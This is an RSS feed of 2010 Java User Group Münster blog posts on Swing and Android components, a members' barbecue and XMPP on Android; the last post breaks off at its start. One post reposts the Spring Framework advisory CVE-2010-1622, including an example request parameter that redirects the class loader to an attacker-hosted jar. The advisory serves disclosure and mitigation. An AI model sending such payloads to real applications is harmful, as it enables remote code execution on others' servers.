<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Java User Group Münster &#187; Contributed</title>
	<atom:link href="http://www.jug-muenster.de/category/contributed/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jug-muenster.de</link>
	<description>Java User Group für Münster und das Münsterland</description>
	<lastBuildDate>Sun, 25 Jul 2010 12:26:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Java2D Conical Gradient Paint</title>
		<link>http://www.jug-muenster.de/java2d-conical-gradient-paint-674/</link>
		<comments>http://www.jug-muenster.de/java2d-conical-gradient-paint-674/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 13:28:10 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[java2d]]></category>
		<category><![CDATA[swing]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=674</guid>
		<description><![CDATA[Just a short blogpost about a little tool that i would like to share with you&#8230; A few months ago i was creating a worldclock with a night and day display where i needed a conical gradient. So what is a conical gradient ? Here we go&#8230; You might think &#8220;ok, it looks nice but [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/fxg-to-java2d-converter-555/' rel='bookmark' title='Permanent Link: FXG to Java2D converter'>FXG to Java2D converter</a></li>
<li><a href='http://www.jug-muenster.de/swing-worldclock-427/' rel='bookmark' title='Permanent Link: Swing Worldclock'>Swing Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/drawing-in-code-part-2-2-384/' rel='bookmark' title='Permanent Link: Drawing in code (Part 2)'>Drawing in code (Part 2)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p>Just a short blogpost about a little tool that i would like to share with you&#8230;<br />
A few months ago i was creating a worldclock with a night and day display where i needed a conical gradient.<br />
So what is a conical gradient ? Here we go&#8230;<span id="more-674"></span></p>
<p><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-22.png" border="0" alt="ishot-2.png" width="186" height="203" /></p>
<p>You might think &#8220;ok, it looks nice but where is it useful ?&#8221;&#8230;well here are three little examples&#8230;</p>
<blockquote><p><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-41.png" border="0" alt="ishot-4.png" width="138" height="160" /></p>
<p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-5.png" border="0" alt="ishot-5.png" width="278" height="276" /></p>
<p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-6.png" border="0" alt="ishot-6.png" width="451" height="205" /></p></blockquote>
<p>So if you would like to achieve these results without the conical gradient paint you have to rotate a line a change the color at every angle. This works out but if it comes to large angles you have to decrease the stepsize which leads to artifacts around the rotation center.</p>
<p>So the conical gradient paint is especialy useful when you work with rotationally symetrical stuff. With this kind of gradient you could get more realistic results of circular structures like the two buttons in the image above. On the left side i used a conical gradient and on the right side i used a linear gradient.</p>
<p>For most of the stuff the linear approach will work but the conical gradient gives you a more realistic shading. Things like the stainless steel button is hard to be generated without a gradient like this.</p>
<p>So let me show you some code to give you an idea of how to work with the ConicalGradientPaint:</p>
<p>The syntax is similar to the LinearGradientPaint and RadialGradientPaint where you define a float array that holds all the fractions of the gradient, a color array that holds all the colors for each fraction and a point that defines the rotation center of the gradient.</p>
<p>Additional to that standard parameters i added a indicator for the usage of degrees and a rotation offset.</p>
<p><strong>Usage:</strong></p>
<p>ConicalGradientPaint cgp = new ConicalGradientPaint(USE_DEGREES, CENTER, OFFSET, FRACTIONS, COLORS);</p>
<p>USE_DEGREES = true/false</p>
<p>CENTER = java.awt.geom.Point2D</p>
<p>OFFSET = float (either 0.0f &#8211; 1.0f or 0.0f &#8211; 360.0f)</p>
<p>FRACTIONS = float[] (either values from 0.0f..1.0f or from 0.0f..360.0f)</p>
<p>COLORS = java.awt.Color[]</p>
<pre class="brush:java;">// Code for a simple cone like from black over white to black
final Ellipse2D CONE = new Ellipse2D.Double(0, 0, 150, 150);

final Point2D CONE_CENTER = new Point2D.Double(CONE.getCenterX(), CONE.getCenterY());

final float[] CONE_FRACTIONS =
{
    0.0f,
    0.5f,
    1.0f
};

final java.awt.Color[] CONE_COLORS =
{
    java.awt.Color.BLACK,
    java.awt.Color.WHITE,
    java.awt.Color.BLACK
};

final ConicalGradientPaint CONE_GRADIENT = new ConicalGradientPaint(
	CONE_CENTER,
	CONE_FRACTIONS,
	CONE_COLORS);

G2.setPaint(CONE_GRADIENT);

G2.fill(CONE);</pre>
<p>As you can see it&#8217;s not magic but simple stupid java code and with a little variation in colors and fractions you could achieve effects like the stainless steel button.</p>
<p>In my free time i&#8217;m working on a new component library (mostly gauges) where i also could use the conical gradient paint.</p>
<blockquote><p><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-7.png" border="0" alt="ishot-7.png" width="209" height="215" /></p></blockquote>
<p>In the screenshot you could see that the gauge has a area from 10 to 60 where it has a gradient in the background. This gradient is also filled by the ConicalGradientPaint.</p>
<p>So you see it could be useful to have this kind of gradient available and for that reason i would like to share it with you&#8230;</p>
<p>Here is the source as zipped <a href="http://www.netbeans.org">Netbeans</a> <a title="ConicalGradientPaint.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/07/ConicalGradientPaint.zip">project</a>. It contains the ConicalGradient class and a little demo that will give you an idea of how to use the paint.</p>
<p>In this project you&#8217;ll also find a compiled jar that you could start and it will show you this</p>
<blockquote><p><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-8.png" border="0" alt="ishot-8.png" width="471" height="450" /></p></blockquote>
<p>So enjoy Swing and follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/fxg-to-java2d-converter-555/' rel='bookmark' title='Permanent Link: FXG to Java2D converter'>FXG to Java2D converter</a></li>
<li><a href='http://www.jug-muenster.de/swing-worldclock-427/' rel='bookmark' title='Permanent Link: Swing Worldclock'>Swing Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/drawing-in-code-part-2-2-384/' rel='bookmark' title='Permanent Link: Drawing in code (Part 2)'>Drawing in code (Part 2)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/java2d-conical-gradient-paint-674/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android AutoConversion EditText component</title>
		<link>http://www.jug-muenster.de/android-autoconversion-edittext-component-653/</link>
		<comments>http://www.jug-muenster.de/android-autoconversion-edittext-component-653/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 07:39:36 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=653</guid>
		<description><![CDATA[AutoConversion EditText component: Yesterday i created a Java Swing textfield component that autoconverts a given value into a selectable unit which could be useful. In the evening i got the idea to port this component to Android and see if it will work there. Just as a short note&#8230;if you are a Java developer you [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/java-autoconversion-textfield-component-638/' rel='bookmark' title='Permanent Link: Java AutoConversion textfield component'>Java AutoConversion textfield component</a></li>
<li><a href='http://www.jug-muenster.de/using-smack-xmpp-lib-on-android-with-netbeans-573/' rel='bookmark' title='Permanent Link: Using Smack xmpp lib on Android with Netbeans'>Using Smack xmpp lib on Android with Netbeans</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p><strong>AutoConversion EditText component:</strong></p>
<p>Yesterday i created a Java Swing textfield component that autoconverts a given value into a selectable unit which could be useful.</p>
<p>In the evening i got the idea to port this component to Android and see if it will work there.</p>
<p>Just as a short note&#8230;if you are a Java developer you should take a look into Android&#8230;it&#8217;s sooooo nice, porting the component tooks me not more than 2 hours (and i&#8217;m not really into Android development).</p>
<p>Here is the result:</p>
<p><img style="font-size: 11px; float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-21.png" border="0" alt="ishot-2.png" width="170" height="250" /><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-31.png" border="0" alt="ishot-3.png" width="170" height="250" /><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-4.png" border="0" alt="ishot-4.png" width="170" height="250" /></p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>So you could type in a value with the unit of your choice and after leaving the field the value will be converted into the EditText &#8220;base unit&#8221;.</p>
<p>I changed the units with special characters like µ, Å, ² and ³ to u, A, 2 and 3 which leads to units like:</p>
<p>um  &lt;=&gt;  µm</p>
<p>A &lt;=&gt;  Å﻿</p>
<p>m2  &lt;=&gt;  m²﻿</p>
<p>m3  &lt;=&gt;  m³﻿</p>
<p>and so on&#8230;﻿</p>
<p>The upper spinner will select the type of unit you would like to use.</p>
<p>The middle spinner will select the current base unit for the textfield.</p>
<p>The lower spinner will adjust the number of decimals for the textfield.</p>
<p>Because it displays the unit directly in the textfield there&#8217;s no need for a additional label for the unit.</p>
<p>You also might check this little <a href="http://www.youtube.com/watch?v=Gnved6KjoC0">video</a></p>
<p>Well again this is nothing very fancy or gui related but it was a nice challange for me so i decided to share it with you&#8230; <a title="AutoConversionField.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/07/AutoConversionField.zip">AutoConversionField.zip</a></p>
<p> </p>
<p>follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;﻿</p>
<p> </p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/java-autoconversion-textfield-component-638/' rel='bookmark' title='Permanent Link: Java AutoConversion textfield component'>Java AutoConversion textfield component</a></li>
<li><a href='http://www.jug-muenster.de/using-smack-xmpp-lib-on-android-with-netbeans-573/' rel='bookmark' title='Permanent Link: Using Smack xmpp lib on Android with Netbeans'>Using Smack xmpp lib on Android with Netbeans</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/android-autoconversion-edittext-component-653/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java AutoConversion textfield component</title>
		<link>http://www.jug-muenster.de/java-autoconversion-textfield-component-638/</link>
		<comments>http://www.jug-muenster.de/java-autoconversion-textfield-component-638/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 11:22:17 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=638</guid>
		<description><![CDATA[AutoConversion textfield component: If you drive a motorized stage of a microscope you often have to handle coordinates in a unit like millimeter [mm]. But it might happen that the sample in your microscope is only in the range of microns [µm]. So would it not be nice to directly type in the coordinates in [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/android-autoconversion-edittext-component-653/' rel='bookmark' title='Permanent Link: Android AutoConversion EditText component'>Android AutoConversion EditText component</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p><strong>AutoConversion textfield component:</strong></p>
<p>If you drive a motorized stage of a microscope you often have to handle coordinates in a unit like millimeter [mm]. But it might happen that the sample in your microscope is only in the range of microns [µm].</p>
<p>So would it not be nice to directly type in the coordinates in µm and the textfield would automaticaly convert the unit into [mm] ?</p>
<p>This would increase the workflow a lot because you do not have to think about conversion of units. There seems to be countries that are using inches and people living there might like to type in coordinates in inches instead of millimeters..etc&#8230;</p>
<p>For this reason i created a little component that extends a standard javax.swing.JTextField and is now able to do the conversion. You could also use the conversion alone without the textfield to create some kind of unit converter&#8230;it&#8217;s up to you.</p>
<p>Here are a few screenshots of a demo app that uses the component:</p>
<p><img style="float: left;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-1.png" border="0" alt="#1 Step" width="166" height="239" /></p>
<p><img style="float: right;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-3.png" border="0" alt="#3 Step" width="166" height="239" /><img style="display: block; margin-left: auto; margin-right: auto;" src="http://www.jug-muenster.de/wp-content/uploads/2010/07/ishot-2.png" border="0" alt="#2 Step" width="166" height="239" /></p>
<p>So you could type in a value with the unit of your choice and after leaving the field or pressing enter the value will be converted into the textfields &#8220;base unit&#8221;.</p>
<p>The upper combobox will select the type of unit you would like to use (it supports angle, area, length, mass, temperature, time at the moment but one could easily add more units to it).</p>
<p>The middle combobox will select the current base unit for the textfield.</p>
<p>The lower combobox will adjust the number of decimals for the textfield.</p>
<p>Because it displays the unit directly in the textfield there&#8217;s no need for a additional label for the unit.</p>
<p>You also might check this little <a href="http://www.youtube.com/watch?v=1GkrDIh5ZsQ">video</a></p>
<p>Well this is nothing very fancy or gui related but it was very useful for me so i decided to share it with you&#8230; <a title="ConversionField.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/07/ConversionField3.zip">ConversionField.zip</a></p>
<p> </p>
<p>follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/android-autoconversion-edittext-component-653/' rel='bookmark' title='Permanent Link: Android AutoConversion EditText component'>Android AutoConversion EditText component</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/java-autoconversion-textfield-component-638/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kritische Sicherheitslücke im Spring Framework</title>
		<link>http://www.jug-muenster.de/kritische-sicherheitslucke-im-spring-framework-616/</link>
		<comments>http://www.jug-muenster.de/kritische-sicherheitslucke-im-spring-framework-616/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 08:12:10 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Contributed]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spring]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=616</guid>
		<description><![CDATA[Spring Source hat mit CVE-2010-1622 auf eine kritische Sicherheitslücke im Spring Framework aufmerksam gemacht. Die von Meder Kydyraliev, Google Security Team gefundene Lücke ist seit April bekannt und wurde mit dem Release Spring Framework 3.0.3 gefixt. (Dieses Release wurde jedoch nicht als sicherheitskritisch gekennzeichnet und das Problem könnte so leicht übersehen werden!) Bei der Lücke [...]]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p>Spring Source hat mit CVE-2010-1622 auf eine kritische Sicherheitslücke im Spring Framework aufmerksam gemacht. Die von Meder Kydyraliev, Google Security Team gefundene Lücke ist seit April bekannt und wurde mit dem Release Spring Framework 3.0.3 gefixt. (Dieses Release wurde jedoch <strong>nicht</strong> als sicherheitskritisch gekennzeichnet und das Problem könnte so leicht übersehen werden!)<span id="more-616"></span> Bei der Lücke handelt es sich um &#8220;remote arbitrary code execution&#8221; &#8211; ein Angreifer kann also beliebigen Code im Kontext der Spring Anwendung aus der Ferne ausführen. Das Spring Framework hat sich in den letzten Jahren als defacto Standard im Bereich der Java Enterprise Entwicklung herauskristallisiert und konkurriert mit dem JavaEE Stack von Sun/Oracle.</p>
<p>Wer Spring einsetzt sollte über ein Update nachdenken, bzw. Anwendungen darauf Überprüfen, dass statt &#8220;disallowedProperties&#8221; die &#8220;allowedProperties&#8221; beim Binding explizit gesetzt werden.</p>
<p>Im folgenden der Text von CVE-2010-1622:</p>
<h2><em>7 June 2010</em>: CVE-2010-1622: Spring Framework execution of  arbitrary code</h2>
<p><strong>Severity</strong>: Critical</p>
<p><strong>Versions Affected</strong>:</p>
<ul>
<li>3.0.0 to 3.0.2</li>
<li>2.5.0 to 2.5.6.SEC01 (community releases)</li>
<li>2.5.0 to 2.5.7 (subscription customers)</li>
</ul>
<p>Earlier versions may also be affected</p>
<h3><strong>Description:</strong></h3>
<p>The Spring Framework provides a mechanism to use client provided data  to update the properties of an object. This mechanism allows an  attacker to modify the properties of the class loader used to load the  object (via &#8216;class.classloader&#8217;). This can lead to arbitrary command  execution since, for example, an attacker can modify the URLs used by  the class loader to point to locations controlled by the attacker.</p>
<h3><strong>Example:</strong></h3>
<p>This example is based on a Spring application running on Apache  Tomcat.</p>
<p>1. Attacker creates attack.jar and makes it available via an HTTP  URL. This jar has to contain following:</p>
<p>- META-INF/spring-form.tld &#8211; defining spring form  tags and specifying that they are implemented as tag files and not  classes;</p>
<p>- tag files in META-INF/tags/ containing tag  definition (arbitrary Java code).</p>
<p>2. Attacker then submits HTTP request to a form controller with the  following HTTP parameter:</p>
<p>class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/</p>
<p>At this point the zeroth element of the WebappClassLoader&#8217;s  repositoryURLs property will be overwritten with attacker&#8217;s URL.</p>
<p>3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars()  will use WebappClassLoader&#8217;s URLs to resolve tag libraries and all tag  files specified in TLD will be resolved against attacker-controller jar  (HTTP retrieval of the jar file is performed by the URL class).</p>
<h3><strong>Mitigation:</strong></h3>
<ul>
<li>All users may mitigate this issue by upgrading to 3.0.3</li>
<li>Community users of 2.5.x and earlier may also mitigate this  issue by upgrading 2.5.6.SEC02</li>
<li>Subscription users of 2.5.x and earlier may also mitigate this  issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01</li>
</ul>
<p><strong>Credit:</strong></p>
<p>The issue was discovered by Meder Kydyraliev, Google Security Team.</p>
<div style="clear:both;">&nbsp;</div>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/kritische-sicherheitslucke-im-spring-framework-616/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JUG SummerEvent</title>
		<link>http://www.jug-muenster.de/jug-summerevent-599/</link>
		<comments>http://www.jug-muenster.de/jug-summerevent-599/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 15:52:26 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=599</guid>
		<description><![CDATA[Am 12. Juni ist es soweit&#8230;ich werde bei mir zu Hause den inoffiziellen JUG SummerEvent veranstalten&#8230; Dabei geht es im wesentlichen darum sich zu treffen, ein paar Bierchen zusammen zu trinken, etwas auf den Grill zu schmeissen und natürlich auch ein wenig Java zu coden (natürlich nur wer Lust dazu hat). Desweiteren steht ein Tischkicker, [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-workshop-179/' rel='bookmark' title='Permanent Link: Swing WorkShop'>Swing WorkShop</a></li>
<li><a href='http://www.jug-muenster.de/javafx-composer-219/' rel='bookmark' title='Permanent Link: JavaFX Composer'>JavaFX Composer</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p>Am 12. Juni ist es soweit&#8230;ich werde bei mir zu Hause den inoffiziellen JUG SummerEvent veranstalten&#8230;</p>
<p>Dabei geht es im wesentlichen darum sich zu treffen, ein paar Bierchen zusammen zu trinken, etwas auf den Grill zu schmeissen und natürlich auch ein wenig Java zu coden (natürlich nur wer Lust dazu hat). Desweiteren steht ein Tischkicker, evtl. eine Carrerabahn (muß ich erst aufbauen) und ein Trampolin zur Verfügung für diejenigen von Euch, welche sich sportlich betätigen möchten.</p>
<p>Da wir bei uns zu Hause natürlich keinen geeigneten Raum haben um Vorträge zu präsentieren, würde es sich ja anbieten diesen Event für sog. Lightning Talks zu nutzen. Dabei kann jeder der Interesse hat ja etwas vorbereiten, was er den anderen in max. 10 Minuten zeigen möchte.</p>
<p>Ihr könnt Euch auch hier bei <a href="https://www.xing.com/events/jug-munster-summerevent-518594">Xing</a> als Teilnehmer eintragen falls Ihr mögt&#8230;</p>
<p> </p>
<p><strong>Zur Veranstaltung:</strong></p>
<p><strong>Wer:</strong> jeder der Lust und Zeit hat sich ein wenig auszutauschen</p>
<p><strong>Wo:</strong> Bei mir zu Hause (Westfalenstrasse 93, 48165 Münster <a href="http://maps.google.de/maps?f=q&amp;source=s_q&amp;hl=de&amp;geocode=&amp;q=Westfalenstra%C3%9Fe+93,+48165+M%C3%BCnster&amp;sll=51.151786,10.415039&amp;sspn=15.848631,35.024414&amp;ie=UTF8&amp;hq=&amp;hnear=Westfalenstra%C3%9Fe+93,+M%C3%BCnster+48165+M%C3%BCnster,+Nordrhein-Westfalen&amp;ll=51.911703,7.633889&amp;spn=0.00095,0.002138&amp;t=h&amp;z=19&amp;iwloc=A">GoogleMaps</a>)</p>
<p><strong>Wann:</strong> ab 11 Uhr könnt Ihr bei mir eintrudeln, Ende offen</p>
<p><strong>Mitzubringen sind:</strong></p>
<p>- Grillfleisch</p>
<p>- Notebook (falls benötigt)</p>
<p>- wenn mögich Salate und Brot</p>
<p> </p>
<p>Getränke, Grill etc. sponsor ich&#8230;﻿</p>
<p style="font-size: 11px;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/06/sonne.gif" border="0" alt="sonne.gif" width="120" height="119" /></p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-workshop-179/' rel='bookmark' title='Permanent Link: Swing WorkShop'>Swing WorkShop</a></li>
<li><a href='http://www.jug-muenster.de/javafx-composer-219/' rel='bookmark' title='Permanent Link: JavaFX Composer'>JavaFX Composer</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/jug-summerevent-599/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using Smack xmpp lib on Android with Netbeans</title>
		<link>http://www.jug-muenster.de/using-smack-xmpp-lib-on-android-with-netbeans-573/</link>
		<comments>http://www.jug-muenster.de/using-smack-xmpp-lib-on-android-with-netbeans-573/#comments</comments>
		<pubDate>Tue, 11 May 2010 04:58:47 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[xmpp]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=573</guid>
		<description><![CDATA[Last week i got my Android phone and finally started coding for a mobile phone (which really is a great experience and lot&#8217;s of fun). During my daylight work i&#8217;m using xmpp in different projects and tools and so i would really like to use it on the Android phone also. In the java world [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/android-autoconversion-edittext-component-653/' rel='bookmark' title='Permanent Link: Android AutoConversion EditText component'>Android AutoConversion EditText component</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://www.jug-muenster.de/wp-content/uploads/2010/05/Android_XMPP_Netbeans.png" border="0" alt="Android + XMPP + Netbeans" width="400" height="80" /></p>
<p>Last week i got my Android phone and finally started coding for a mobile phone (which really is a great experience and lot&#8217;s of fun).</p>
<p>During my daylight work i&#8217;m using xmpp in different projects and tools and so i would really like to use it on the Android phone also. In the java world there is a really neat library called smack from <a href="http://www.igniterealtime.org/projects/smack/index.jsp﻿">ignite realtime</a> which makes using xmpp a piece of cake and so i asked myself if it would also run on android?</p>
<p>Yes it does&#8230;<strong>BUT</strong>&#8230;you need a <a title="smack.jar.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/05/smack.jar_1.zip">patched version</a> that i found on the net&#8230;<br />
In <a href="http://www.eclipse.org/">Eclipse</a> it seems to be easy to link a external library to a android project but in <a href="http://www.netbeans.org/">Netbeans</a> i was not so intuitively as i thought&#8230;<br />
You need three little steps to include a external library like smack and here they are:</p>
<p><strong>#1 STEP:</strong></p>
<p>Create a local folder named &#8220;lib&#8221; in your Android project folder like this:</p>
<p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://www.jug-muenster.de/wp-content/uploads/2010/05/ishot-12.png" border="0" alt="lib folder in project directory" width="480" height="247" /></p>
<p>Now copy the patched <a title="smack.jar.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/05/smack.jar_1.zip">smack.jar﻿</a> file into this folder.<span id="more-573"></span></p>
<p><strong>#2 STEP:</strong></p>
<p>Add the jar file to your libraries in <a href="http://www.netbeans.org">netbeans</a> like this:</p>
<p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://www.jug-muenster.de/wp-content/uploads/2010/05/ishot-31.png" border="0" alt="add smack.jar to project libraries" width="197" height="162" /></p>
<p><strong>#3 STEP:</strong></p>
<p>At last you have to edit the <strong>build.xml</strong> file of your android project and add the link to the<strong> /lib</strong> folder where you copied the library file.</p>
<p>Add the following to the end of your <strong>build.xml</strong> file:</p>
<p><span style="color: #38ac00;">&lt;!&#8211; Add path to external libs to buildpath &#8211;&gt;</span></p>
<p><span style="color: #0047ff;">&lt;target</span> name=<span style="color: #ff3ffa;">&#8220;-pre-jar&#8221;</span><span style="color: #0047ff;">&gt;</span></p>
<p><span style="color: #0047ff;">&lt;property</span> name=<span style="color: #ff3ffa;">&#8220;external.libs.dir&#8221; value=&#8221;<strong>/PATH_TO_YOUR_PROJECT/lib</strong>&#8220;</span> <span style="color: #0047ff;">/&gt;</span></p>
<p><span style="color: #0047ff;">&lt;copy</span> todir=<span style="color: #ff3ffa;">&#8220;${build.classes.dir}&#8221;</span><span style="color: #0047ff;">&gt;</span></p>
<p><span style="color: #0047ff;">&lt;fileset</span> dir=<span style="color: #ff3ffa;">&#8220;/<strong>PATH_TO_YOUR_PROJECT/lib</strong>&#8221; </span><span style="color: #0047ff;">/&gt;</span></p>
<p><span style="color: #0047ff;">&lt;/copy&gt;</span></p>
<p><span style="color: #0047ff;">&lt;/target&gt;</span>﻿</p>
<p>That&#8217;s it&#8230;</p>
<p>Now you should be able to use the external library in the same way as you know it from your normal desktop machine.<strong><span style="color: #ff1f19;"><br />
Be aware that the patched smack.jar does not contain the complete functionality of the desktop version&#8230;</span></strong><br />
You might also take a look at a project called asmack which you could find <a href="http://code.google.com/p/asmack/">here</a>&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/android-autoconversion-edittext-component-653/' rel='bookmark' title='Permanent Link: Android AutoConversion EditText component'>Android AutoConversion EditText component</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/using-smack-xmpp-lib-on-android-with-netbeans-573/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FXG to Java2D converter</title>
		<link>http://www.jug-muenster.de/fxg-to-java2d-converter-555/</link>
		<comments>http://www.jug-muenster.de/fxg-to-java2d-converter-555/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 09:56:27 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=555</guid>
		<description><![CDATA[During the last months i was working a lot on Java Swing components which really is a lot of fun. It took me some time to establish a workflow to transfer my design prototypes from Adobe Fireworks into Java2D elements. With not too complex shapes this was not a big deal even if it was [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/java2d-conical-gradient-paint-674/' rel='bookmark' title='Permanent Link: Java2D Conical Gradient Paint'>Java2D Conical Gradient Paint</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><div style="float: left; margin: 1.0em 100.0em 2.0em 8.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/convertersplash.png" border="0" alt="convertersplash.png" width="320" height="240" align="right" /></div>
<p>During the last months i was working a lot on Java Swing components which really is a lot of fun. It took me some time to establish a workflow to transfer my design prototypes from <a href="http://www.adobe.com/products/fireworks">Adobe Fireworks</a> into Java2D elements.</p>
